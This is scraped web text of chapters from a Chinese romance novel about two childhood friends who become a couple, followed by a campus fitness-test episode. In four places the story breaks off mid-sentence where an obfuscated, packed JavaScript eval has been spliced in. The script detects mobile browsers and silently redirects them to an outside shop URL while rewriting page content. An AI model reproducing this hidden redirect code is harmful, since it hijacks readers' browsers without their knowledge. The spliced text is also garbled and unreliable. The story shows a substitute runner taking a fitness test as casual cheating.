“是有点。”许曼曼头靠到他肩上,“好困,昨晚就睡了三小时不到,飞机上也没怎么睡着,心里一点都不安稳。” “下次还是我去找你吧。”他说,“太远了。” 许曼曼头蹭来蹭去的,终于找了个最舒服的位置,闭上了眼睛。 “下次再说吧。” 其实也没睡着,酒店很快就到了。 她吸取上次的教训,没订清岚大学附近的酒店,选了市中心离景区比较近的地方,虽然也并不是来旅游的。 入住之后,人又第一时间扑到了床上。 程喻把她的包放好,问了句。 “饿不饿?” “不饿,困。” 许曼曼闭着眼睛,声音含含糊糊的。 “那先睡吧。”程喻过来帮她脱鞋,“睡醒了再吃。” “不太好吧。” 许曼曼嘴上这么说着,但很顺从地被他塞进被子里,只睁了一只眼睛。 “我成来睡觉的了。” “人来了就行。”他说,垂眼看她,“做什么无所谓,睡吧。” * 这一觉直接睡到了傍晚。 许曼曼醒来的时候,屋里光线昏暗,有些分辨不出时间。 窗帘拉着,只在角落开着一盏壁灯,程喻正坐在桌前看电脑。 她也没发出声音,程喻却像是感觉到了什么似的,抬眼看过来。 “醒了?” “嗯。”许曼曼揉了揉眼睛,“几点了?” “六点半。”他问,“睡得好吗?” “嗯,睡得很沉,也没做梦。” 许曼曼抬手开了灯,坐起身来。 “你还带了电脑?是有事吗?” “没事,看点资料。”他合上电脑,“饿了吧?去吃饭吗?” “嗯,但是等一会儿。” 许曼曼刚睡醒会有点发懵,感觉大脑开机很慢,总要等一会儿才能恢复常态。 程喻走过来,她正好拿他当墙使,歪头靠在他身上,发了会儿呆。 两个人都没说话,程喻动作很轻地摸着她的脑袋,一下一下,撸猫似的。 换做平时许曼曼肯定不乐意,也就这会儿没脾气,由着他摸。 出去吃饭的时候她才精神起来,甚至有点精神过头了。 “完了,我睡这么久,今天晚上估计要睡不着了。”她埋怨程喻,“你怎么也不叫我啊?” “没事,那就晚点睡。”程喻很好脾气地说,又问她,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781287|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷不冷?” “还好吧。” 华都的温度比西岭要低不少,已经完全是初冬的感觉了。 来之前程喻就反复提醒她多穿衣服,所以现在夜风吹过,才没觉得太冷。 但到了这个季节,华都的夜生活就更没多少了,两人吃了饭出来,华灯初上,路上行人却是行色匆匆,都很急着回家的感觉。 “要干什么啊?” 许曼曼茫然四顾,她是完全没打算的那种人,来华都的目的只有一个——找程喻。 至于见到人之后要做什么,根本没想过。 于是眼下站在华都初冬的街头,一时陷入了迷茫。 程喻倒是神色轻松,往旁边看了眼。 “要喝点什么吗?” “我可不喝酒。”许曼曼皱眉,“你也不准喝。” “谁说要喝酒了。”程喻笑了,“天气冷,喝点热的吧,热巧克力,喝不喝?” 他指了指对街,许曼曼这才看到,有自己平常最喜欢喝的那家饮品店。 “喝。”她立刻点头。 程喻去买喝的,许曼曼坐到路边的小狗椅子上等着,这边的椅子都很可爱,做成了各种动物的造型,五颜六色的,小狗椅子是浅蓝色。 她正琢磨着和小狗来张自拍,刘阿姨给她发了微信消息。 点开一看,是Coda的照片,身上穿着新衣服,是许曼曼给它买的黄色小雨衣,今天刚到。 应该是下午出去玩的时候拍的,西岭还在下雨,倒是物尽其用。 Coda依旧是镜头感十足,雨衣帽子罩在头上也不妨碍它看镜头,笑得很开心的样子。 许曼曼正对着照片欣赏,程喻回来了。 把热巧克力往她脸颊上贴了贴:“看什么呢这么开心?” “Coda.” 许曼曼接过喝的,给他看照片。 “可爱吧?” 程喻看了眼,这次总算没有“还可以”,点了点头。 “嗯。” 他手里拿着杯咖啡,喝了一口。 “大晚上喝咖啡。”许曼曼点评道,“我看你今晚也别睡了。” “没事。” 小狗椅子虽然可爱,但只能坐一个人,他就只是站在旁边。 许曼曼喝了口自己的热巧克力,拉拉他的衣袖。 “小鱼。” “嗯?” “我有话跟你说。” 她顿了顿,终于说出了此行的真实目的。 “关于赵宜杭吧,其实我就是心里愧疚,所以多照顾他一下,能帮得上忙的就尽量帮忙,毕竟他是因为我受伤的嘛。而且你知道的,我不怎么会照顾人,能做的也不多,就是遛遛狗,然后也就没什么了。” 程喻垂眼看她,没有说话。 于是她补充道:“他就自己一个人,其实也挺可怜的。” “我也一个人。” “……你哪里一个人了?” 许曼曼瞪他一眼,想了想又说。 “反正,他家里的情况,我也不太好说,但他真的有点可怜。不是通常意义上的那种可怜吧……哎我也说不清楚,总之就是挺复杂的。” 程喻笑了下,语气不咸不淡的。 “你知道吗,女生一旦开始觉得一个男生可怜,就很危险。” “……你这从哪儿听来的理论?” 他没回答,在她面前蹲下身来。 这下两人位置倒换,许曼曼垂眼看他。 “所以。” 他抬眼看她,又露出了那种可怜巴巴的神色。 “曼曼,你也稍微可怜我一下吧。” 18. 答案 天毕竟有点冷,许曼曼在西岭待久了,有点不太能适应这边的天气,在外面逛了一会儿就想回去了。 “九点多了。”她看了眼时间,“你也回学校吧。” 程喻正替她拿着刚抽到的盲盒,闻言愣了下。 “啊?我回学校?” 许曼曼同样疑惑:“不然呢?” “我不能住这里吗?” “……呵呵。”许曼曼瞪他一眼,“不能。” “曼曼。”他看起来有点无辜,“不是都说了,让你可怜我一下。” “这有什么好可怜的?”许曼曼无语,“你会露宿街头还是怎么着?” 他虽然不会露宿街头,但出来的时候没带包,电脑什么的都还在酒店,没办法,许曼曼只好和他一起回去。 回去之后这人又忙起来了,一会儿要喝水,一会儿要上厕所,一会儿手机又没电了,要给手机充电。 许曼曼看着电视,翻了个大大的白眼。 “充吧,充到80你就给我走。” “干吗这么提防我?”他倒还委屈上了,“上次不也一起住了吗?” “上次是看在你去找我的份上!这次是我来,你有什么辛苦的?而且我可不像你,你睁开眼看看,我这只有一张床!” “上次不也——” “好了别说了!”许曼曼打断他的话,“充到80赶紧走!” 程喻闭嘴不说话了。 可许曼曼看了会儿电视,电视剧都演完了,他还在那边巍然不动的,一点要走的意思都没有。 “还没充好?”她问了句,“多少了?” 他正看电脑,随便瞄了眼。 “62.” “怎么充这么慢?” 许曼曼怀疑地走过去,打算自己看,他立刻伸手要按住,被她一巴掌拍了回去。 她看了眼,的确是62,可数据线的接口没插好,手机压根就没在充电。 “程喻!” 许曼曼顺手打了他一下。 “我以前怎么没发现你这么无赖?” 程喻笑了,看起来没有半点不好意思。 “我都跟室友说了不回去了。” “那就再说一次。”许曼曼把充电线插好,瞪他,“说你马上回去!” * 手机正常充着电,她坐回床上,妈妈却在这时打来了电话。 她愣了下,下意识转头看程喻。 对上眼神,他有些疑问地挑眉。 “嘘。”许曼曼立刻比了手势,“我妈的电话,你不准说话。” 她来华都这事没告诉妈妈,不知道为什么,也并不想说正和程喻待在一起。 程喻很听话地点头,她这才接了起来。 倒也没什么事,妈妈大晚上打来,是收拾衣柜的时候找到一件她的外套,问要不要给她寄过去。 许曼曼很惊喜,那件外套她之前找不到,以为弄丢了,没想到还能翻出来,于是让妈妈寄到学校。 说完快递的事,妈妈又问起西岭的天气,星港这两天也在下雨,降温降了不少。 “嗯,还在下。”许曼曼有些心虚地看了眼窗外,“下好几天了。” 程喻看着她,嘴角勾了勾。 许曼曼警告地瞪他一眼,挂了电话,才算松了口气。 “我就这么见不得人吗?”程喻似笑非笑的,“还要撒谎自己在西岭。” 许曼曼刚想反驳,却突然意识到了什么。 “你没跟阿姨说我来华都了吧?!” 要是他说了,那她这个谎也算是白撒了,程喻妈妈肯定会告诉妈妈的。 “你猜?” “猜你个头啊!到底说没说?” “你这么紧张干什么?”程喻悠悠地说,“反正我们只是朋友啊。” “……” 许曼曼梗住,于是又开始赶人。 “既然是朋友,你还赖着不走干吗?快走快走!” “不是就可以不走了?” 他立刻抓住了话里的漏洞。 “……是不是都要走!” “不然这样。”他笑了,“曼曼,你答应的话我就走。” 许曼曼有些被他绕进去,正思考话题是怎么带到这里的,他起身走了过来。 两人一坐一站,他低头看她。 “上次在西岭,我说希望下次见面的时候能听到答案。” 他声音里没了调笑的意味,很是认真。 “所以曼曼,你到底想好了没有?” 许曼曼抬眼看他,视线对上的一刹那,外面突然传来雨声。 她疑心是自己的幻觉,可好像又不是。 于是立刻从床上跳起来,去窗边看了眼,竟然真的下雨了。 华都的雨来得又急又凶,雨水砸在窗上,带着点铺天盖地的架势,很快就洇湿了外面的夜幕灯火。 “完了,天气预报怎么说的?”许曼曼额头贴到窗上,往外看,“我不会回不去了吧?这边的机场可不要出问题啊!” 程喻没说话,走过来,从背后一整个圈住了她。 又直接把她扳回身来,看着她的眼睛。 “许曼曼,不要转移话题。” 这下许曼曼背靠着窗,完完全全在他怀里了。 她仰着脸,在他的目光注视下,感觉自己的脸颊有些发烫。 “你也知道,我在这方面有点迟钝的。”她垂下眼睛,手指在他胸前画着圈,“但我觉得,我觉得……” 话说到这里却停住,程喻没有催,很耐心地看着她,等着下一句。 她终于抬起眼睛,却换了个话题。 “你什么时候喜欢我的?” “高一。” 这次他立刻回答了。 答案却有些出乎许曼曼意料,她怀疑地皱眉,盯着他看。 程喻笑了。 “真的。”他凑近了一点,声音压得很低,“高一突然发了疯地长个子的时候,别人都是梦到飞,梦到跳,但我总梦到你——” 许曼曼一把捂住他的嘴:“好了,不准说了!” 他拿开许曼曼的手,紧紧攥在手里。 手心的温度几乎有些灼热,烫得她心里一跳。 “曼曼,我不想只是和你做朋友,我喜欢你,想以另外的身份陪着你,和你在一起,可以吗?” 许曼曼知道自己脸红了,没被攥住的那只手抵在他胸前,揪着他的衣服,就这么垂着眼睛,默然片刻。 没人说话,能听到的只有窗外的雨声,好像还有彼此略有些急促的心跳声。 直到她开口打破这沉默。 “你知道吗,昨天晚上我坐在机场等航班,外面雾很大,周围全都是人,我盯着显示屏上一片红色的延误信息,心里想的是,雨快点停下吧,我好想快点见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781288|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到程喻。” 程喻没说话,她看过去,他怔怔地看着自己,表情有些恍惚。 她笑了:“你傻啊?” “嗯。”他终于有了反应,点头承认,“好像有点。” 说完,低下头来,轻轻抵着她的额头。 “曼曼,我觉得好幸福。” “你这幸福会不会有点太轻易了?” “怎么会。”他说,声音很轻,“等了这么久,我以为不会有这么一天了。” 许曼曼哼了一声。 “曼曼。”他又叫她的名字。 “嗯?” “你还没说可以。” 许曼曼有些无语:“……可以,好了吧?” 他松开还在攥着她的那只手,紧紧抱住了她。 “让我抱一会儿。” 用的力气太大,几乎是把她整个人揉进了怀里,许曼曼抗议了一声,但还是由着他了。 但这么抱了一会儿,她觉得有些喘不过气。 “喂,好了没,说好答应了你就走的,时间差不多了吧?” 他笑出声来,终于松开她,看着她的眼睛。 “你傻啊?”他说,“怎么可能走?” 许曼曼愣了一下,随即伸手掐他的腰。 “程喻!” 她这动作做惯了的,他向来不怕疼又不怕痒,这会儿却一把抓住她不安分的手。 “别碰我。” “哈?” 许曼曼抬头瞪他,对上他的眼神,却突然有点退缩,要说的话也说不出来了。 她下意识往后靠过去,雨水敲打着窗子,玻璃凉得好像一块冰,几乎要凉得她一个激灵。 可身前的人却又好热,程喻的眼神紧紧追随着她,像是要确认她内心想法似的,带着点急躁的情绪,整个人都在散发着热气。 他单手揽住她的腰,把她拉到自己身前,另一只手抚上她脸颊,脸贴过来,却并没有下一步行动。 呼吸交缠,他拇指轻轻擦过她嘴唇,几乎在用气音说话了。 “可以吗?” 许曼曼一时没有听清他在说什么,她处在这冰与火的矛盾感觉中,像是冰层上一点微弱的火苗,又像是落进火炭里的水滴。 好像下一秒就要消散。 “嗯?”没有等到回答,他又确认似的叫了她的名字,“曼曼?” 明明没有打算放手,明明她根本没有后退的空间,还要装出一副很尊重她的样子,非要等她同意。 许曼曼终于回过神来,在他灼热的视线注视下,故意作对地说了句。 “不行。” 话说出口的一瞬间,他就吻了上来,好像根本也没打算听她说的内容,只是想听她发出一点声音而已。 意识到这一点的许曼曼,立刻抗议地叫了一声。 “你——” 可是话根本没有说出口的余地,却刚好顺了他的意。 几乎是在她张口的一瞬间,就这么含住了她的舌尖,唇齿交缠,他太过急切,往前一步,把她整个人都抵在了窗上,越亲越深入。 握在她腰上的手也愈发用力,几乎要把她的腰掐断了。 她有些吃痛,声音却还没发出就被他吞了进去,呼吸变成潮湿暧昧的黏连。 漫天漫地的雨声中,她恍惚觉得自己也要化作雨水,溶进这初冬的雨夜里。 雨越下越大了。 19. 朋友圈 许曼曼的华都之行结束,总结为,除了周六晚上出去吃了个饭,其余时间全都是在酒店度过的。 下午退房,她两手空空,外套拉链拉到了下巴,手抄着兜走在前面。 程喻背着包跟上来,非常贴心地提醒她。 “小心脚下。” 雨刚刚才停,外面路上还是有积水。 许曼曼脚步顿了下,直接一脚踩进旁边的一个小水坑,水花四溅,全溅到程喻的鞋上了。 他穿的是一双白色鞋子,干净的鞋面立刻变得脏兮兮。 “嗯。”程喻看了眼,“挺好看的。” “……” 见许曼曼不说话,他又把手伸进了她衣兜,去牵她的手。 “手怎么这么凉?” “别碰我!” 许曼曼终于瞪他,要把手抽出来。 可这人根本不松手,反而换成了十指紧扣的牵法,牢牢攥住。 嘴上说着:“我帮你暖一暖。” 许曼曼又折腾了几下,奈何两人力气悬殊,纹丝不动。 只换来他毫无诚意的道歉,脸上挂着笑,凑近了哄她。 “好了,我知道错了,下次——” “闭嘴!”许曼曼又瞪他。 他立刻闭嘴不说话,可上扬的嘴角却掩饰不住,神采飞扬的。 这种傻乐的症状一直持续到了机场,等待登机前的时间,他黏在许曼曼身边,看起来终于笑不出来了。 在他第五次抬手看手表之后,许曼曼斜了他一眼。 “怎么,你急着走啊?” “没有。”他叹了口气,又看了眼手表,“时间怎么过得这么快?” 许曼曼无语:“哪里快了?等半天了都。” “感觉我的表像被调快了。”程喻看着她,“不然你带我一起回去吧。” “……” 许曼曼皱起眉头,像是初次见面一样,打量着他。 “程喻,你能不能正常一点?” “那我这周末去找你。” “刚见到,还找什么?”许曼曼瞪他,“隔了大半个中国,你闲的啊?” “我不闲,就是舍不得和你分开。” 程喻看起来有些焦虑,又问她。 “你都不会舍不得我?” “不会。”许曼曼立刻斩钉截铁地回答,“我巴不得离你远一点。” 他听了这话,突然像想到什么似的,摆脱焦虑,又笑了起来。 看着这人灿烂的笑容,许曼曼恼羞成怒,上手掐他。 “不准笑!” * 终于和这个黏人精道了别,许曼曼从上飞机就开始睡觉,一路睡到了西岭。 落地之后还有些半梦半醒的,走到机场大厅才关掉飞行模式,立刻看到程喻的消息。 ——周五我去找你。 她回过去一串省略号,但出了机场,吹到外面有些潮湿的晚风的时候,还是悄无声息地笑了。 回到学校已经是八点多,宿舍里却空无一人,周日晚上,这几个人都不知道跑去哪里了。 许曼曼倒是松了一口气,要是林乔在,肯定少不了问东问西的,可她还没想好要怎么说呢。 结果刚爬到床上,还没来得及躺下,就接到了妈妈的电话。 “曼曼。”妈妈的声音带着笑,“听说你和小喻在一起了?” “……” 挂了电话,许曼曼立刻给程喻打了过去。 “程喻!” 电话一接起来,她就冲着他嚷嚷。 “怎么了?”程喻听起来很无辜,“你到寝室了?” “你嘴怎么那么快啊?这才多长时间,都告诉谁了?快递站大爷是不是还不知道啊?” “哦,你说这个啊。” 他笑了下,这次分明是在扮无辜。 “也没跟谁说啊,就先跟我爸妈说了,然后是张世鹏、董旬他们几个,哦对了,还有李鸣宇、葛伊路,大概就这些。” “……” 许曼曼无语凝噎,半晌才回了一句。 “你舅舅舅妈还没通知呢吧?” “那怎么会。”他装出一副天真的语气,“我妈肯定告诉他们了,对了,还有我表哥,我也发消息告诉他了,不过他那边有时差,还没回我呢。” “……” 许曼曼只恨自己走得干脆,没有多掐他两把。 这人不知道自己正被发射愤怒光波,倒是明朗轻松得很。 “你到了?” “嗯。”她有气无力地问了句,“你呢?” “已经在实验室了。” “……真热爱学习。” 他笑了:“晚饭没吃吧?饿不饿?” “不想吃。”许曼曼闭着眼睛,“好了,你学习去吧,我要睡一会儿了。” “嗯,那我晚点再给你打电话。” 他说完又补上一句。 “包里我给你放了酸奶和软糖,要是饿了就吃一点。” “知道了。” 挂了电话,许曼曼躺了一会儿,但大概是飞机上睡多了,怎么也睡不着。 于是又摸过手机,打开微信,却发现有人在@自己。 是朋友圈里的通知,她点进去看了眼,万年不发朋友圈的程喻同学,竟然发了一条。 没有配文,只有一张她的照片。 是昨晚两人在外面闲逛的时候,她抽盲盒时的抓拍,低着头,没有看镜头,正专心拆着包装盒。 问题是她根本不知道有这张照片的存在,更不知道这人是什么时候拍的。 看了眼发布时间,就在她登机之后没多久。 点赞很多,评论也很多,@许曼曼的就是来自评论,甚至还不止一个人。 有他们初中的同班同学,高一的同班同学,甚至还有住同一个街区的姐姐,她比许曼曼大两岁,正在东澜读大学。 最近的一条就是来自于她,评论也是简单直接。 ——?@M.M 说实话这照片也还好,很正常的记录生活的内容,不至于发问号吧。 许曼曼这么想着,大概扫了眼评论,这才知道为什么会被敲问号。 程喻这个神人,回了所有问他问题的评论。 而答案只有同一句。 ——对啊,在一起了。 * 许曼曼试图回复评论,几个字删来改去的,还是不知道说什么。 想了想,退出朋友圈,直接给程喻发了条消息。 ——删掉 只有两个字,没有前因后果,但程喻很快回复过来。 ——不删 她对着这两个字,骂人的话都已经敲出一行了,屏幕上又跳出一条新消息。 是一个吐舌头的表情包。 这表情包看着很眼熟,是她以前发给程喻的,每次幸灾乐祸,或者觉得很得意的时候,她总会发这一个。 这人也算是还回来了。 她盯着这个神气活现的表情,还是把骂人的话删掉了。 程喻倒是直接打来了电话。 接起来,那边传来他理直气壮的声音。 “我都忘了,你也要发。” “……我不发。” “许曼曼。”他话说得慢条斯理的,“我就这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781289|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见不得人?” “你不要偷换概念!反正我不发,我发了说什么呀?” “说我们在一起了,我是你男朋友,你是我女朋友。”他说,“怎么,这很难说出口吗?” “我觉得很难!太肉麻了,你不要这么腻歪!” 许曼曼调转枪口,开始指责起他来。 “还有,你什么时候偷拍的我?未经本人允许,谁让你发照片的?” “不是偷拍。”他依然理直气壮,“是光明正大拍的,你没看到而已。” “……这就是偷拍!我没让你删掉已经不错了,你别得寸进尺!” 一想到朋友圈里那一大堆评论,许曼曼就觉得头疼。 “我都不知道,你什么时候人缘那么好了,你用得着每个人都回复吗?” “当然,万一有人不知道呢。” “……那你大学同学有问的吗?你也都回复了?” “当然,我又不像你。” “喂!” 许曼曼心情好转一些,想了想。 “那,不然换个头像?我想用情侣头像。” “真的?” 程喻这人非常好哄,声音立刻高兴起来。 “那我就用那张照片吧,你可以用——” “不行!”许曼曼立刻拒绝,“程喻,你敢用!” “怎么了?” “那是我的照片,你不要侵犯我肖像权!而且你随便拍这么一张,角度又奇奇怪怪的,敢用你就死定了!” “怎么奇怪了?我觉得每一张都很可爱,我还特意选了最可爱的一张呢。” “……可爱在哪儿?”许曼曼无语,“还有,什么叫‘每一张’,你拍了几张?” “嗯,有那么几张吧。” 他突然有些迟疑,开始顾左右而言他。 “那要用什么?” “等我找一下,先声明,我可不会用真人头像的!” “那别人怎么能知道我们用的是情侣头像啊?” “……你为什么非要让别人知道?” 他回答得很干脆,掷地有声。 “因为我想炫耀啊。” “……” 许曼曼没有他这么强的分享欲,去找了两个不那么明显的情侣头像,是那种只有放到同一个聊天界面,才能让人意识到原来有联系的类型。 程喻倒也没什么不满,立刻换上了。 许曼曼这才去朋友圈,回复了那几条@自己的评论。 反正程喻已经这么大张旗鼓,她也没什么好隐瞒的了,就跟着承认了。 回复完没多久,邻居姐姐直接私聊她。 Sambucus:挺意外的啊 M.M:啊,会吗?哪方面比较意外? Sambucus:意外你们刚刚才在一起 M.M:…… Sambucus:还有就是程喻,谈起恋爱来,竟然是这种风格的 M.M:哪种风格? Sambucus:还问我,这你应该感触更深吧 M.M:>< Sambucus:你们这是情侣头像? M.M:很明显吗?你这么快就发现了? Sambucus:不明显,但是程喻的微信名很好地弥补了这一点 M.M:? 许曼曼有些不太明白,于是退出去看了眼。 怪不得刚才这人换头像时那么听话,毫无怨言。 原来在这里等着她呢。 不太明显的情侣头像旁边,是这位刚改的微信名。 ——C.Y(情侣头像版) 20. 体测 关于程喻其实很黏人这件事,也算是两个人在一起之后,许曼曼的一个新发现。 没想到两个人一起长大,过了这么多年,对于彼此还能有新的发现,倒也挺神奇的。 也不知道之前到底是她太过迟钝,还是程喻装得太好。 总之现在,他封印被解除,不打算再装了。 这人几乎像有什么分离焦虑似的,就算隔着一千多公里,就算每天课很多忙到不行,也恨不得时时刻刻和她黏在一起。 事到如今许曼曼不禁开始怀疑,大一那一年,尤其他根本不怎么理自己的下半学期,这人到底是怎么过的。 问起来,他自己倒也感慨颇深。 “你才知道啊。”他说,“有什么办法,只能硬撑,有时候晚上做梦都在跟你打电话——” “好了闭嘴吧。” 许曼曼赶紧叫停,觉得这人说下去又没有什么好话了。 除了有分离焦虑之外,许曼曼还有一个发现,就是他都不知羞的。 有时候那话真是他敢说自己不敢听,也不知道之前怎么装出来的明月清风。 那个冷言冷语的程喻更加只是短暂存在,许曼曼都开始有点怀念了。 于是提议:“你能不能再摆个凶一点的脸色给我?” “怎么?”程喻有些不明白,又说,“我什么时候对你凶过?” “哈?”许曼曼无语,“你要不要自己回忆一下呢?你对我凶的还少吗?暑假的时候就不搭理我,要跟我绝交,我去学校找你你也凶我——” “好了好了。”他立刻投降,“我错了。” “不是让你道歉!”许曼曼说,“来,调整一下情绪,有点怀念了。” “……”这下换他无语了,“怀念的点在哪里?” “我觉得你冷脸的时候更帅。” “……我可不想回到那时候,我现在想起来都很后怕。” 他坚决拒绝。 “不,我不要。” “对对对。”许曼曼却是一脸满意,指导他,“就是这个感觉,你再投入一点。” 隔着屏幕,程喻扫过来一个无语的眼神。 “还差点意思。”许曼曼继续指导,“下巴抬一下,眼神往下看呢?” “无聊。” 他好久没这么说了。 “是挺无聊的。” 许曼曼往旁边看了眼,她正独自坐在体育场的看台上,等待即将开始的体测。 今天的天气倒还可以,西岭的入冬进度有些停滞不前,都已经十一月底了,空气中竟然还是秋高气爽的意味。 上午已经测完了基础项目,下午就是重头戏八百米了。 “还好我深谋远虑,已经为自己安排好了退路。” 她看着操场上痛苦的人群,十分之得意。 程喻的声音有点无奈:“你偶尔也运动一下吧。” “运动和八百米,根本不是一回事。”许曼曼严肃道,“像你这种人是不会理解的。” “我是哪种人?” “变态。” “……” * 好在这么变态的只是少数,大多数还是自己这样的普通人。 李思慕下午有选修课,上完课一个人过来,看到许曼曼这副悠闲的样子,有点眼红。 “凭什么你可以坐在这里观赏啊?” 她把外套脱了递过来,表情痛苦。 “早知道我也找个替跑了。” “你现在才考虑这事,晚了。”许曼曼教导她,“未雨绸缪,懂吗?我可是开学没多久就谈妥了。” “体育学院的?” “嗯,不过不是练径赛,田赛的。” “径赛田赛有什么区别,来帮你跑也太大材小用了吧?”她指出,“你跑步连我都不如,这成绩出来会不会太假了一点?” “不要诽谤!去年咱俩就差五秒好吧!而且我有提醒她不要跑太快,中下游成绩,能及格就好了。” “我也能及格就好了。” 李思慕看向操场,满脸的视死如归。 “去吧。”许曼曼亲切地说,“我这也是之前用痛苦换来的,你只要痛苦几分钟就可以了。” “早知道来的路上把腿摔断了。” 她只留下这一句话,痛苦地踏上了刑场。 许曼曼抱着她的外套,阳光晒得人身上暖洋洋的,操场上遍地惨状,只有她独自鸟语花香。 正享受着,旁边传来一个懒洋洋的声音。 “作弊呢?” 转头一看,竟然是赵宜杭,这人走路向来无声无息的,许曼曼都见怪不怪了。 他上周就已经回来上课了,手臂上的吊带也不戴了,支具还在,不过外面套上衣服,就看不出来了。就像现在,穿着黑色卫衣抄着兜,完全看不出来手臂还有伤。 “你怎么来了?” 许曼曼扫了眼下面的操场,自己先想起来。 “哦,经管也是今天测是吧?” “嗯。”他坐到旁边。 “可是你又不用跑吧?你伤还没好呢。” “来交证明。” 他从兜里拿出两张纸,许曼曼接过来看了眼,是医院和学校分别开出来的免测证明。 “你这也算因祸得福了。” 赵宜杭没说话,有些凌厉地扫了她一眼。 许曼曼立刻读懂了这眼神里传达的意思,笑了起来。 “对不起嘛。” 赵宜杭回来上课后,她的义务也随之解除,除了偶尔会去转一圈,和Coda玩一会儿,已经不需要再遛狗了。 所以现在一起坐在体育场的看台上,竟然还是有些久违了的两人独处。 不过她很快就觉得不自在。 “喂。” 她目视前方,小声催他。 “你不是要去交证明吗,快走吧。” 赵宜杭瞥了她一眼:“干吗?” “如果我没看错的话,两点钟方向,十点钟方向,都有人在看我们。” 她眯起眼睛,又确认了一下。 “不,更准确的说,是在看你。” “所以呢?” “所以你能不能离我远一点?我心理压力好大。” “你心理有这么脆弱吗?” 赵宜杭手抄着兜,依然维持着懒散的坐姿,一动不动。 “谁脆弱了!我毕竟——” 她凑过去,压低了声音。 “彭悦然正在给我替跑,万一被发现怎么办,后果你承担得起吗?” “她为什么要给你替跑?” “这你别管,反正是我情她愿的事。” 许曼曼伸出一根手指,在他眼前晃了晃。 “成年人之间的事,未成年人不要打听。” “……” * 起跑点那边人很多,是分了院系和年级来进行的,好容易等到她们这一批结束,录完成绩,许曼曼才兴奋地下了看台,迎了上去。 彭悦然不愧是田径之女,这边刚跑完都累得不行,坐的坐躺的躺,就她跟没事人似的,没几步就把气喘匀了。 接过许曼曼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781290|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递的水喝了两口,又往旁边看。 “我刚不是看到赵宜杭也在?人呢?” 许曼曼震惊道:“你不是在跑步吗,这怎么看到的?” “跑步又不用眼睛跑。” 说着,她视线逡巡过操场,立刻定了点。 “哦,那里。” 许曼曼顺着她指的方向看过去,果然在不远处的男生起跑点看到了人,依然手抄着兜,正和旁边的人说话。 “哇,你身上装雷达吧?”她敬佩道,“这么多人也能一眼找到?” “那也是帅哥雷达,只找帅的。” “……找他干吗?” “等会,人来了我一起说。” 她连个预告都没有,突然就冲着那边叫了一声。 “赵宜杭!” 这大嗓门,立刻吸引了周围人的视线。 “干吗?!” 许曼曼崩溃,立刻阻止了她要继续的动作。 “别叫呀!你要不要这么张扬!” 一片视线聚集中,大概她声音实在中气十足,赵宜杭回身看到了她们。 “过来一下!” 彭悦然又叫了声,同时一把拉住了想要偷偷溜走的许曼曼。 那边赵宜杭懒洋洋地挥了挥手,示意听到了。 “放开我!”许曼曼挣扎道。 “别走呀,有事。” “你有事能不能低调点,非要这么大声让所有人都听到?” “不大声他怎么听到。” “打电话啊,你没有他电话号码吗?” “这么近打什么电话,多麻烦。”彭悦然揽过她肩膀,“好了,不准跑。” 两人你拉我扯的纠缠间,赵宜杭在附近目光注视下,穿过操场走了过来。 “干吗?” “刚好两个人都在,我问一下。” 彭悦然这才放开许曼曼,说道。 “那天我整理资料,发现你俩竟然同一天生日!这也太巧了吧?而且还是平安夜!要素这么齐全,我琢磨着社团要不要给你们庆祝一下,也算是到年底了,大家一起聚一聚!” “就这么点事。”许曼曼还在手遮脸,“你至于这么大张旗鼓,在操场上乱喊乱叫吗?” “这怎么能是小事,我们社一共才几个人,就有两个人同一天生日,这概率很高吗?” “不知道,你问赵宜杭,他会算。” 赵宜杭笑了下,没有回答,反而说:“可以。” “是吧?”彭悦然得到支持,立刻又问许曼曼,“怎么样?” “但我圣诞节那天可能会去看演唱会。”许曼曼说,“抽了票,还没出结果,要等等看。” “那,等你这边确定了再说?” 彭悦然拿出手机看了眼日历。 “那天又不是周末,你们周五没课吗,还能去看演唱会?” “不管了,要是有票当然逃课去。” “去哪里看?外地吗,还要提前走?” “日本。” 